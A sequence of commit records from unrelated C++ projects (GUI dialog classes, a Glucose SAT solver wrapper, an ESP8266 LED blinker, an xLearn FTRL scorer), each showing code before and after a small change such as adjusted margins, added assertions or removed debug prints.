textField->style("padding-left", "4");
mainLayout->addChild(textField);
auto buttonLayout = make_shared<LinearLayout>(2);
auto okButton = std::make_shared<Button>("OK", 1);
okButton->style("width", "match-parent");
okButton->style("height", "match-parent");
okButton->style("color", "#ffffff");
okButton->style("background", "#c1272d");
okButton->style("border-radius", "4");
okButton->style("weight", "1");
okButton->style("margin-left", "4");
okButton->style("margin-right", "2");
okButton->style("margin-bottom", "4");
buttonLayout->addChild(okButton);
auto cancelButton = std::make_shared<Button>("Cancel", 0);
cancelButton->style("width", "match-parent");
cancelButton->style("height", "match-parent");
cancelButton->style("color", "#ffffff");
cancelButton->style("background", "#c1272d");
cancelButton->style("border-radius", "4");
cancelButton->style("weight", "1");
cancelButton->style("margin-left", "4");
cancelButton->style("margin-right", "2");
cancelButton->style("margin-bottom", "4");
buttonLayout->addChild(cancelButton);
mainLayout->addChild(buttonLayout);
}
bool isA(const std::string & className) const override {
if (className == "AppInputDialog") return true;
return Dialog::isA(className);
}
void onCommandEvent(CommandEvent & ev) override {
if (ev.getElementId() == 1) {
endModal(1);
} else {
endModal(0);
}
}
const std::string & getValue() { return textField->getValue(); }
private:
std::shared_ptr<TextField> textField;
};
class DebugDialog : public Dialog {
public:
DebugDialog() : Dialog("Debug") {
auto mainLayout = make_shared<LinearLayout>(FW_VERTICAL);
addChild(mainLayout);
mainLayout->addChild(make_shared<TextLabel>("Debug screen")).style("font-size", "14")
.style("white-space", "nowrap")
.style("margin", 5);
mainLayout->addChild(make_shared<TextLabel>("Stuff")).style("font-size", "12").style("margin", 5);
auto table = make_shared<TableLayout>(2);
table->style("margin", 5);
mainLayout->addChild(table);
mainLayout->addChild(make_shared<TextLabel>("Threads")).style("font-size", "12").style("margin", 5);
auto grid = make_shared<GridView>();
grid->style("margin", 5);
grid->addColumn("Runnable");
grid->addColumn("State");
mainLayout->addChild(grid);
}
void load() {
auto & grid = find("GridView").front();
populateThreads(dynamic_cast<GridView&>(grid), getThread());
}
protected:
void populateThreads(GridView & grid, PlatformThread & thread) {
string runnable_name, runnable_status;
auto runnable = thread.getRunnablePtr();
if (runnable) {
runnable_name = runnable->getName();
runnable_status = runnable->getStatusText();
}
grid.setValue(numThreadRows, 0, runnable_name);
grid.setValue(numThreadRows, 1, runnable_status);
numThreadRows++;
for (auto & td : thread.getSubThreads()) {
populateThreads(grid, *td.second);
}
}
private:
int numThreadRows = 0;
};
void
FWApplication::onSysEvent(SysEvent & ev) {
if (ev.getType() == SysEvent::BACK) {
int poppedView = popViewBackHistory();
if (poppedView != 0) {
Command c(Command::SET_INT_VALUE, poppedView);
c.setValue(3);
sendCommand(c);
} else {
Command c(Command::QUIT_APP, poppedView);
sendCommand(c);
}
} else if (ev.getType() == SysEvent::DEBUG) {
auto dialog = make_shared<DebugDialog>();
dialog->showModal(this);
}
}
void
FWApplication::showMessageDialog(const std::string & title, const std::string & message) {
auto dialog = make_shared<AppMessageDialog>(title, message);
dialog->showModal(this);
}
std::string
FWApplication::showInputDialog(const std::string & title, const std::string & message) {
auto dialog = make_shared<AppInputDialog>(title, message);
if (dialog->showModal(this)) {
return dialog->getValue();
} else {
return "";
}
}
<commit_msg>Change some dialog padding/margins<commit_after>#include <FWApplication.h>
#include <Dialog.h>
#include <GridView.h>
#include <TableLayout.h>
#include <PlatformThread.h>
#include <SysEvent.h>
#include <LinearLayout.h>
#include <TextLabel.h>
#include <TextField.h>
#include <Button.h>
using namespace std;
class AppMessageDialog : public Dialog {
public:
AppMessageDialog(const std::string & title, const std::string & message) : Dialog(title) {
style("height", "wrap-content");
auto mainLayout = make_shared<LinearLayout>(1);
mainLayout->style("width", "match-parent");
mainLayout->style("height", "wrap-content");
addChild(mainLayout);
auto dialogMessage = make_shared<TextLabel>(message);
mainLayout->addChild(dialogMessage);
mainLayout->style("margin-left", "8");
mainLayout->style("margin-right", "8");
auto okButton = std::make_shared<Button>("OK");
okButton->style("width", "match-parent");
okButton->style("height", "match-parent");
okButton->style("color", "#ffffff");
okButton->style("background", "#c1272d");
okButton->style("border-radius", "4");
okButton->style("weight", "1");
okButton->style("margin-left", "8");
okButton->style("margin-right", "8");
okButton->style("margin-bottom", "2");
mainLayout->addChild(okButton);
}
bool isA(const std::string & className) const override {
if (className == "AppMessageDialog") return true;
return Dialog::isA(className);
}
void onCommandEvent(CommandEvent & ev) override {
endModal();
}
};
class AppInputDialog : public Dialog {
public:
AppInputDialog(const std::string & title, const std::string & message) : Dialog(title) {
style("height", "wrap-content");
auto mainLayout = make_shared<LinearLayout>(1);
mainLayout->style("width", "match-parent");
mainLayout->style("height", "wrap-content");
mainLayout->style("background-color", "#ffffff");
addChild(mainLayout);
auto dialogTitle = std::make_shared<TextLabel>(title);
dialogTitle->style("background-color", "#ffffff");
dialogTitle->style("width", "match-parent");
dialogTitle->style("gravity", "center-horizontal");
dialogTitle->style("height", "wrap-content");
dialogTitle->style("font-size", "24");
dialogTitle->style("padding-top", "12");
dialogTitle->style("padding-bottom", "16");
dialogTitle->style("font-weight", "bold");
dialogTitle->style("padding-left", "14");
dialogTitle->style("padding-right", "14");
dialogTitle->style("color", "#c1272d");
mainLayout->addChild(dialogTitle);
auto dialogMessage = make_shared<TextLabel>(message);
dialogMessage->style("padding-left", "14");
dialogMessage->style("padding-right", "14");
mainLayout->addChild(dialogMessage);
textField = make_shared<TextField>();
textField->style("width", "match-parent");
textField->style("min-width", "100");
textField->style("padding-bottom", "10");
textField->style("padding-top", "10");
textField->style("hint", "Enter code here");
textField->style("padding-left", "14");
mainLayout->addChild(textField);
auto buttonLayout = make_shared<LinearLayout>(2);
auto okButton = std::make_shared<Button>("OK", 1);
okButton->style("width", "match-parent");
okButton->style("height", "match-parent");
okButton->style("color", "#ffffff");
okButton->style("background", "#c1272d");
okButton->style("border-radius", "4");
okButton->style("weight", "1");
okButton->style("margin-left", "4");
okButton->style("margin-right", "2");
okButton->style("margin-bottom", "4");
buttonLayout->addChild(okButton);
auto cancelButton = std::make_shared<Button>("Cancel", 0);
cancelButton->style("width", "match-parent");
cancelButton->style("height", "match-parent");
cancelButton->style("color", "#ffffff");
cancelButton->style("background", "#c1272d");
cancelButton->style("border-radius", "4");
cancelButton->style("weight", "1");
cancelButton->style("margin-left", "4");
cancelButton->style("margin-right", "2");
cancelButton->style("margin-bottom", "4");
buttonLayout->addChild(cancelButton);
mainLayout->addChild(buttonLayout);
}
bool isA(const std::string & className) const override {
if (className == "AppInputDialog") return true;
return Dialog::isA(className);
}
void onCommandEvent(CommandEvent & ev) override {
if (ev.getElementId() == 1) {
endModal(1);
} else {
endModal(0);
}
}
const std::string & getValue() { return textField->getValue(); }
private:
std::shared_ptr<TextField> textField;
};
class DebugDialog : public Dialog {
public:
DebugDialog() : Dialog("Debug") {
auto mainLayout = make_shared<LinearLayout>(FW_VERTICAL);
addChild(mainLayout);
mainLayout->addChild(make_shared<TextLabel>("Debug screen")).style("font-size", "14")
.style("white-space", "nowrap")
.style("margin", 5);
mainLayout->addChild(make_shared<TextLabel>("Stuff")).style("font-size", "12").style("margin", 5);
auto table = make_shared<TableLayout>(2);
table->style("margin", 5);
mainLayout->addChild(table);
mainLayout->addChild(make_shared<TextLabel>("Threads")).style("font-size", "12").style("margin", 5);
auto grid = make_shared<GridView>();
grid->style("margin", 5);
grid->addColumn("Runnable");
grid->addColumn("State");
mainLayout->addChild(grid);
}
void load() {
auto & grid = find("GridView").front();
populateThreads(dynamic_cast<GridView&>(grid), getThread());
}
protected:
void populateThreads(GridView & grid, PlatformThread & thread) {
string runnable_name, runnable_status;
auto runnable = thread.getRunnablePtr();
if (runnable) {
runnable_name = runnable->getName();
runnable_status = runnable->getStatusText();
}
grid.setValue(numThreadRows, 0, runnable_name);
grid.setValue(numThreadRows, 1, runnable_status);
numThreadRows++;
for (auto & td : thread.getSubThreads()) {
populateThreads(grid, *td.second);
}
}
private:
int numThreadRows = 0;
};
void
FWApplication::onSysEvent(SysEvent & ev) {
if (ev.getType() == SysEvent::BACK) {
int poppedView = popViewBackHistory();
if (poppedView != 0) {
Command c(Command::SET_INT_VALUE, poppedView);
c.setValue(3);
sendCommand(c);
} else {
Command c(Command::QUIT_APP, poppedView);
sendCommand(c);
}
} else if (ev.getType() == SysEvent::DEBUG) {
auto dialog = make_shared<DebugDialog>();
dialog->showModal(this);
}
}
void
FWApplication::showMessageDialog(const std::string & title, const std::string & message) {
auto dialog = make_shared<AppMessageDialog>(title, message);
dialog->showModal(this);
}
std::string
FWApplication::showInputDialog(const std::string & title, const std::string & message) {
auto dialog = make_shared<AppInputDialog>(title, message);
if (dialog->showModal(this)) {
return dialog->getValue();
} else {
return "";
}
}
<|endoftext|>
|
<commit_before>/*
* Copyright (C) 2017 Mario Alviano (mario@alviano.net)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include "GlucoseWrapper.h"
#include <core/Dimacs.h>
extern Glucose::IntOption option_n;
extern Glucose::BoolOption option_print_model;
namespace zuccherino {
void GlucoseWrapper::parse(gzFile in_) {
Glucose::StreamBuffer in(in_);
vec<Lit> lits;
for(;;) {
skipWhitespace(in);
if(*in == EOF) break;
if(*in == 'p') {
if(eagerMatch(in, "p cnf")) skipLine(in);
else cerr << "PARSE ERROR! Unexpected char: " << static_cast<char>(*in) << endl, exit(3);
}
else if(*in == 'c') skipLine(in);
else {
Glucose::readClause(in, *this, lits);
this->addClause(lits);
}
}
for(int i = 0; i < nVars(); i++) setFrozen(i, true);
}
Var GlucoseWrapper::newVar(bool polarity, bool dvar) {
trailPosition.push(INT_MAX);
reasonFromPropagators.push();
return Glucose::SimpSolver::newVar(polarity, dvar);
}
void GlucoseWrapper::onNewDecisionLevel(Lit lit) {
reasonFromPropagators[var(lit)] = NULL;
}
lbool GlucoseWrapper::solve() {
cancelUntil(0);
lbool status = l_Undef;
lbool ret = l_False;
int count = 0;
for(;;) {
status = solveWithBudget();
if(status != l_True) break;
if(++count == 1) cout << "s SATISFIABLE" << endl;
cout << "c Model " << count << endl;
copyModel();
printModel();
ret = l_True;
if(count == option_n) break;
if(decisionLevel() == 0) break;
learnClauseFromModel();
}
if(ret == l_False) cout << "s UNSATISFIABLE" << endl;
return ret;
}
lbool GlucoseWrapper::solveWithBudget() {
conflict.clear();
if(!ok) return l_False;
lbool status = l_Undef;
int curr_restarts = 0;
while(status == l_Undef) {
status = search(
luby_restart ? luby(restart_inc, curr_restarts) * luby_restart_factor : 0); // the parameter is useless in glucose, kept to allow modifications
if(!withinBudget()) break;
curr_restarts++;
}
return status;
}
void GlucoseWrapper::copyModel() {
// Extend & copy model:
model.growTo(nVars());
for (int i = 0; i < nVars(); i++) model[i] = value(i);
Glucose::SimpSolver::extendModel();
}
void GlucoseWrapper::printModel() const {
if(!option_print_model) return;
assert(model.size() >= nVars());
cout << "v";
for(int i = 0; i < nVars(); i++)
cout << " " << (model[i] == l_False ? "-" : "") << (i+1);
cout << endl;
}
void GlucoseWrapper::learnClauseFromModel() {
vec<Lit> lits;
for(int i = trail_lim.size() - 1; i >= 0; i--) {
Lit lit = trail[trail_lim[i]];
if(level(var(lit)) == 0) continue;
assert(reason(var(lit)) == CRef_Undef);
lits.push(~lit);
}
if(lits.size() == 0) { ok = false; return; }
cancelUntil(decisionLevel()-1);
if (lits.size() == 1)
uncheckedEnqueue(lits[0]);
else {
CRef cr = ca.alloc(lits, true);
clauses.push(cr);
attachClause(cr);
uncheckedEnqueue(lits[0], cr);
}
}
void GlucoseWrapper::cancelUntil(int level) {
if(decisionLevel() <= level) return;
trace(solver, 5, "Cancel until " << level);
Glucose::SimpSolver::cancelUntil(level);
for(int i = 0; i < propagators.size(); i++) propagators[i]->onCancel();
while(nTrailPosition > nAssigns()) trailPosition[var(assigned(--nTrailPosition))] = INT_MAX;
}
void GlucoseWrapper::uncheckedEnqueueFromPropagator(Lit lit, Propagator* propagator) {
assert(propagator != NULL);
uncheckedEnqueue(lit);
assert(nTrailPosition + 1 == nAssigns());
trailPosition[var(assigned(nTrailPosition))] = nTrailPosition;
nTrailPosition++;
reasonFromPropagators[var(lit)] = propagator;
}
bool GlucoseWrapper::simplifyPropagators() {
assert(decisionLevel() == 0);
while(nTrailPosition < nAssigns()) { trailPosition[var(assigned(nTrailPosition))] = nTrailPosition; nTrailPosition++; }
int n = nAssigns();
for(int i = 0; i < propagators.size(); i++) {
if(!propagators[i]->simplify()) return false;
if(nAssigns() > n) break;
}
return true;
}
bool GlucoseWrapper::propagatePropagators() {
if(decisionLevel() == 0) return simplifyPropagators();
assert(decisionLevel() > 0);
while(nTrailPosition < nAssigns()) { trailPosition[var(assigned(nTrailPosition))] = nTrailPosition; nTrailPosition++; }
int n = nAssigns();
for(int i = 0; i < propagators.size(); i++) {
if(!propagators[i]->propagate()) {
propagators[i]->getConflict(conflictFromPropagators);
return false;
}
if(nAssigns() > n) break;
}
return true;
}
bool GlucoseWrapper::conflictPropagators(vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
if(conflictFromPropagators.size() == 0) return false;
processConflictPropagators(out_learnt, selectors, pathC);
assert(conflictFromPropagators.size() == 0);
return true;
}
bool GlucoseWrapper::reasonPropagators(Lit lit, vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(reason(var(lit)) == CRef_Undef);
if(reasonFromPropagators[var(lit)] == NULL) return false;
vec<Lit> reason;
reasonFromPropagators[var(lit)]->getReason(lit, reason);
assert(reason.size() > 0);
assert(reason[0] == lit);
processReasonPropagators(reason, out_learnt, selectors, pathC);
return true;
}
bool GlucoseWrapper::reasonPropagators(Lit lit) {
assert(reason(var(lit)) == CRef_Undef);
if(reasonFromPropagators[var(lit)] == NULL) return false;
vec<Lit> reason;
reasonFromPropagators[var(lit)]->getReason(lit, reason);
assert(reason.size() > 0);
assert(reason[0] == lit);
processReasonPropagators(reason);
return true;
}
void GlucoseWrapper::processConflictPropagators(vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(conflictFromPropagators.size() > 0);
assert(decisionLevel() != 0);
Lit conflictLit = conflictFromPropagators[0];
if(!seen[var(conflictLit)] && level(var(conflictLit)) > 0) {
if(!isSelector(var(conflictLit))) varBumpActivity(var(conflictLit));
seen[var(conflictLit)] = 1;
assert(level(var(conflictLit)) == decisionLevel());
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(conflictLit)) && (reason(var(conflictLit)) != CRef_Undef) && ca[reason(var(conflictLit))].learnt())
lastDecisionLevel.push(conflictLit);
}
for(int i = 1; i < conflictFromPropagators.size(); i++) {
Lit q = conflictFromPropagators[i];
assert(value(q) == l_False);
if(seen[var(q)]) continue;
if(level(var(q)) == 0) continue;
if(!isSelector(var(q)))
varBumpActivity(var(q));
seen[var(q)] = 1;
if(level(var(q)) >= decisionLevel()) {
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(q)) && (reason(var(q)) != CRef_Undef) && ca[reason(var(q))].learnt())
lastDecisionLevel.push(q);
}
else {
if(isSelector(var(q))) {
assert(value(q) == l_False);
selectors.push(q);
}
else
out_learnt.push(q);
}
}
conflictFromPropagators.clear();
}
void GlucoseWrapper::processReasonPropagators(const vec<Lit>& clause, vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(clause.size() > 0);
assert(decisionLevel() != 0);
assert(reason(var(clause[0])) == CRef_Undef);
for(int i = 1; i < clause.size(); i++) {
Lit q = clause[i];
assert(value(q) == l_False);
assert(level(var(q)) <= level(var(clause[0])));
if(seen[var(q)]) continue;
if(level(var(q)) == 0) continue;
if(!isSelector(var(q)))
varBumpActivity(var(q));
seen[var(q)] = 1;
if(level(var(q)) >= decisionLevel()) {
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(q)) && (reason(var(q)) != CRef_Undef) && ca[reason(var(q))].learnt())
lastDecisionLevel.push(q);
}
else {
if(isSelector(var(q))) {
assert(value(q) == l_False);
selectors.push(q);
}
else
out_learnt.push(q);
}
}
}
void GlucoseWrapper::processReasonPropagators(const vec<Lit>& clause) {
assert(clause.size() > 0);
assert(decisionLevel() != 0);
assert(reason(var(clause[0])) == CRef_Undef);
for(int i = 1; i < clause.size(); i++) {
Lit l = clause[i];
assert(value(l) == l_False);
assert(level(var(l)) <= level(var(clause[0])));
if(level(var(l)) == 0) continue;
seen[var(l)] = 1;
}
}
}<commit_msg>Minor: change some assertions.<commit_after>/*
* Copyright (C) 2017 Mario Alviano (mario@alviano.net)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include "GlucoseWrapper.h"
#include <core/Dimacs.h>
extern Glucose::IntOption option_n;
extern Glucose::BoolOption option_print_model;
namespace zuccherino {
void GlucoseWrapper::parse(gzFile in_) {
Glucose::StreamBuffer in(in_);
vec<Lit> lits;
for(;;) {
skipWhitespace(in);
if(*in == EOF) break;
if(*in == 'p') {
if(eagerMatch(in, "p cnf")) skipLine(in);
else cerr << "PARSE ERROR! Unexpected char: " << static_cast<char>(*in) << endl, exit(3);
}
else if(*in == 'c') skipLine(in);
else {
Glucose::readClause(in, *this, lits);
this->addClause(lits);
}
}
for(int i = 0; i < nVars(); i++) setFrozen(i, true);
}
Var GlucoseWrapper::newVar(bool polarity, bool dvar) {
trailPosition.push(INT_MAX);
reasonFromPropagators.push();
return Glucose::SimpSolver::newVar(polarity, dvar);
}
void GlucoseWrapper::onNewDecisionLevel(Lit lit) {
reasonFromPropagators[var(lit)] = NULL;
}
lbool GlucoseWrapper::solve() {
cancelUntil(0);
lbool status = l_Undef;
lbool ret = l_False;
int count = 0;
for(;;) {
status = solveWithBudget();
if(status != l_True) break;
if(++count == 1) cout << "s SATISFIABLE" << endl;
cout << "c Model " << count << endl;
copyModel();
printModel();
ret = l_True;
if(count == option_n) break;
if(decisionLevel() == 0) break;
learnClauseFromModel();
}
if(ret == l_False) cout << "s UNSATISFIABLE" << endl;
return ret;
}
lbool GlucoseWrapper::solveWithBudget() {
conflict.clear();
if(!ok) return l_False;
lbool status = l_Undef;
int curr_restarts = 0;
while(status == l_Undef) {
status = search(
luby_restart ? luby(restart_inc, curr_restarts) * luby_restart_factor : 0); // the parameter is useless in glucose, kept to allow modifications
if(!withinBudget()) break;
curr_restarts++;
}
return status;
}
void GlucoseWrapper::copyModel() {
// Extend & copy model:
model.growTo(nVars());
for (int i = 0; i < nVars(); i++) model[i] = value(i);
Glucose::SimpSolver::extendModel();
}
void GlucoseWrapper::printModel() const {
if(!option_print_model) return;
assert(model.size() >= nVars());
cout << "v";
for(int i = 0; i < nVars(); i++)
cout << " " << (model[i] == l_False ? "-" : "") << (i+1);
cout << endl;
}
void GlucoseWrapper::learnClauseFromModel() {
vec<Lit> lits;
for(int i = trail_lim.size() - 1; i >= 0; i--) {
Lit lit = trail[trail_lim[i]];
if(level(var(lit)) == 0) continue;
assert(reason(var(lit)) == CRef_Undef);
lits.push(~lit);
}
if(lits.size() == 0) { ok = false; return; }
cancelUntil(decisionLevel()-1);
if (lits.size() == 1)
uncheckedEnqueue(lits[0]);
else {
CRef cr = ca.alloc(lits, true);
clauses.push(cr);
attachClause(cr);
uncheckedEnqueue(lits[0], cr);
}
}
void GlucoseWrapper::cancelUntil(int level) {
if(decisionLevel() <= level) return;
trace(solver, 5, "Cancel until " << level);
Glucose::SimpSolver::cancelUntil(level);
for(int i = 0; i < propagators.size(); i++) propagators[i]->onCancel();
while(nTrailPosition > nAssigns()) trailPosition[var(assigned(--nTrailPosition))] = INT_MAX;
}
void GlucoseWrapper::uncheckedEnqueueFromPropagator(Lit lit, Propagator* propagator) {
assert(propagator != NULL);
assert(value(lit) == l_Undef);
uncheckedEnqueue(lit);
assert(nTrailPosition + 1 == nAssigns());
trailPosition[var(assigned(nTrailPosition))] = nTrailPosition;
nTrailPosition++;
reasonFromPropagators[var(lit)] = propagator;
}
bool GlucoseWrapper::simplifyPropagators() {
assert(decisionLevel() == 0);
while(nTrailPosition < nAssigns()) { trailPosition[var(assigned(nTrailPosition))] = nTrailPosition; nTrailPosition++; }
int n = nAssigns();
for(int i = 0; i < propagators.size(); i++) {
if(!propagators[i]->simplify()) return false;
if(nAssigns() > n) break;
}
return true;
}
bool GlucoseWrapper::propagatePropagators() {
if(decisionLevel() == 0) return simplifyPropagators();
assert(decisionLevel() > 0);
while(nTrailPosition < nAssigns()) { trailPosition[var(assigned(nTrailPosition))] = nTrailPosition; nTrailPosition++; }
int n = nAssigns();
for(int i = 0; i < propagators.size(); i++) {
if(!propagators[i]->propagate()) {
propagators[i]->getConflict(conflictFromPropagators);
return false;
}
if(nAssigns() > n) break;
}
return true;
}
bool GlucoseWrapper::conflictPropagators(vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
if(conflictFromPropagators.size() == 0) return false;
processConflictPropagators(out_learnt, selectors, pathC);
assert(conflictFromPropagators.size() == 0);
return true;
}
bool GlucoseWrapper::reasonPropagators(Lit lit, vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(reason(var(lit)) == CRef_Undef);
if(reasonFromPropagators[var(lit)] == NULL) return false;
vec<Lit> reason;
reasonFromPropagators[var(lit)]->getReason(lit, reason);
assert(reason.size() > 0);
assert(reason[0] == lit);
processReasonPropagators(reason, out_learnt, selectors, pathC);
return true;
}
bool GlucoseWrapper::reasonPropagators(Lit lit) {
assert(reason(var(lit)) == CRef_Undef);
if(reasonFromPropagators[var(lit)] == NULL) return false;
vec<Lit> reason;
reasonFromPropagators[var(lit)]->getReason(lit, reason);
assert(reason.size() > 0);
assert(reason[0] == lit);
processReasonPropagators(reason);
return true;
}
void GlucoseWrapper::processConflictPropagators(vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(conflictFromPropagators.size() > 0);
assert(decisionLevel() != 0);
Lit conflictLit = conflictFromPropagators[0];
if(!seen[var(conflictLit)] && level(var(conflictLit)) > 0) {
if(!isSelector(var(conflictLit))) varBumpActivity(var(conflictLit));
seen[var(conflictLit)] = 1;
assert_msg(level(var(conflictLit)) == decisionLevel(), "conflictLit=" << conflictLit << "; level=" << level(var(conflictLit)) << "; decisionLevel=" << decisionLevel());
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(conflictLit)) && (reason(var(conflictLit)) != CRef_Undef) && ca[reason(var(conflictLit))].learnt())
lastDecisionLevel.push(conflictLit);
}
for(int i = 1; i < conflictFromPropagators.size(); i++) {
Lit q = conflictFromPropagators[i];
assert(value(q) == l_False);
if(seen[var(q)]) continue;
if(level(var(q)) == 0) continue;
if(!isSelector(var(q)))
varBumpActivity(var(q));
seen[var(q)] = 1;
if(level(var(q)) >= decisionLevel()) {
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(q)) && (reason(var(q)) != CRef_Undef) && ca[reason(var(q))].learnt())
lastDecisionLevel.push(q);
}
else {
if(isSelector(var(q))) {
assert(value(q) == l_False);
selectors.push(q);
}
else
out_learnt.push(q);
}
}
conflictFromPropagators.clear();
}
void GlucoseWrapper::processReasonPropagators(const vec<Lit>& clause, vec<Lit>& out_learnt, vec<Lit>& selectors, int& pathC) {
assert(clause.size() > 0);
assert(decisionLevel() != 0);
assert(reason(var(clause[0])) == CRef_Undef);
for(int i = 1; i < clause.size(); i++) {
Lit q = clause[i];
assert(value(q) == l_False);
assert(level(var(q)) <= level(var(clause[0])));
if(seen[var(q)]) continue;
if(level(var(q)) == 0) continue;
if(!isSelector(var(q)))
varBumpActivity(var(q));
seen[var(q)] = 1;
if(level(var(q)) >= decisionLevel()) {
pathC++;
// UPDATEVARACTIVITY trick (see competition'09 companion paper)
if(!isSelector(var(q)) && (reason(var(q)) != CRef_Undef) && ca[reason(var(q))].learnt())
lastDecisionLevel.push(q);
}
else {
if(isSelector(var(q))) {
assert(value(q) == l_False);
selectors.push(q);
}
else
out_learnt.push(q);
}
}
}
void GlucoseWrapper::processReasonPropagators(const vec<Lit>& clause) {
assert(clause.size() > 0);
assert(decisionLevel() != 0);
assert(reason(var(clause[0])) == CRef_Undef);
for(int i = 1; i < clause.size(); i++) {
Lit l = clause[i];
assert(value(l) == l_False);
assert(level(var(l)) <= level(var(clause[0])));
if(level(var(l)) == 0) continue;
seen[var(l)] = 1;
}
}
}<|endoftext|>
|
<commit_before>#include "Blinker.hpp"
using namespace HomieInternals;
BlinkerClass::BlinkerClass()
: _lastBlinkPace(0)
// , _interface(nullptr) causes exception ???
{
}
void BlinkerClass::attachInterface(Interface* interface) {
this->_interface = interface;
}
void BlinkerClass::start(float blinkPace) {
Serial.println("here1");
if (this->_lastBlinkPace != blinkPace) {
Serial.println("here2");
Serial.println(this->_interface->led.pin);
Serial.println("here3");
this->_ticker.attach(blinkPace, this->_tick, this->_interface->led.pin);
this->_lastBlinkPace = blinkPace;
Serial.println("here4");
}
}
void BlinkerClass::stop() {
if (this->_lastBlinkPace != 0) {
this->_ticker.detach();
this->_lastBlinkPace = 0;
digitalWrite(this->_interface->led.pin, !this->_interface->led.on);
}
}
void BlinkerClass::_tick(unsigned char pin) {
digitalWrite(pin, !digitalRead(pin));
}
BlinkerClass HomieInternals::Blinker;
<commit_msg>Remove debug messages<commit_after>#include "Blinker.hpp"
using namespace HomieInternals;
BlinkerClass::BlinkerClass()
: _lastBlinkPace(0)
// , _interface(nullptr) causes exception ???
{
}
void BlinkerClass::attachInterface(Interface* interface) {
this->_interface = interface;
}
void BlinkerClass::start(float blinkPace) {
if (this->_lastBlinkPace != blinkPace) {
this->_ticker.attach(blinkPace, this->_tick, this->_interface->led.pin);
this->_lastBlinkPace = blinkPace;
}
}
void BlinkerClass::stop() {
if (this->_lastBlinkPace != 0) {
this->_ticker.detach();
this->_lastBlinkPace = 0;
digitalWrite(this->_interface->led.pin, !this->_interface->led.on);
}
}
void BlinkerClass::_tick(unsigned char pin) {
digitalWrite(pin, !digitalRead(pin));
}
BlinkerClass HomieInternals::Blinker;
<|endoftext|>
|
<commit_before>//------------------------------------------------------------------------------
// Copyright (c) 2016 by contributors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//------------------------------------------------------------------------------
/*
Author: Chao Ma (mctt90@gmail.com)
This file is the implementation of LinearScore class.
*/
#include "src/score/linear_score_ftrl.h"
#include "src/base/math.h"
namespace xLearn {
// y = wTx (incluing bias term)
real_t LinearScoreFtrl::CalcScore(const SparseRow* row,
Model& model,
real_t norm) {
real_t* w = model.GetParameter_w();
real_t score = 0.0;
for (SparseRow::const_iterator iter = row->begin();
iter != row->end(); ++iter) {
index_t idx = iter->feat_id * 3;
score += w[idx] * iter->feat_val;
}
// bias
score += model.GetParameter_b()[0];
return score;
}
// Calculate gradient and update current model
void LinearScoreFtrl::CalcGrad(const SparseRow* row,
Model& model,
real_t pg,
real_t norm) {
real_t alpha = 1.0;
real_t beta = 1.0;
real_t lambda1 = 1.0;
real_t lambda2 = 1.0;
real_t* w = model.GetParameter_w();
for (SparseRow::const_iterator iter = row->begin();
iter != row->end(); ++iter) {
real_t gradient = pg * iter->feat_val;
index_t idx_w = iter->feat_id * 3; // index of w_i
index_t idx_n = idx_w + 1; // index of cumulate for gradient * gradient
index_t idx_z = idx_w + 2; // index of cumulater for gradient
real_t old_n = w[idx_n]; // old n_i
w[idx_n] += (gradient * gradient); // new n_i
real_t sigma = 1.0f * (std::sqrt(w[idx_n]) - sqrt(old_n))
/ alpha;
w[idx_z] += gradient - sigma * w[idx_w];
// above had calculate n_i and z_i
// below update gradient by n_i and z_i
if (std::abs(w[idx_z]) < lambda1) {
w[idx_w] = 0.0;
} else {
real_t smooth_lr = 1.0f
/ (lambda2 + (beta + std::sqrt(w[idx_n])) / alpha);
if (w[idx_z] < 0) {
w[idx_z] += lambda1;
} else {
w[idx_z] -= lambda1;
}
w[idx_w] = -1.0f * smooth_lr * w[idx_z];
}
}
// bias
w = model.GetParameter_b();
real_t &bw = w[0];
real_t &bn = w[1];
real_t &bz = w[2];
real_t g = pg;
bn += g*g;
bz += g;
if (std::abs(bz) < lambda1) {
bw = 0.0f;
} else {
real_t smooth_lr = 1.0f
/ (lambda2 + (beta + std::sqrt(bn)) / alpha);
if (bz < 0) {
bz += lambda1;
} else {
bz -= lambda1;
}
bw = -1.0f * smooth_lr * bz;
}
}
} // namespace xLearn
<commit_msg>update linear_score_ftrl.cc<commit_after>//------------------------------------------------------------------------------
// Copyright (c) 2016 by contributors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
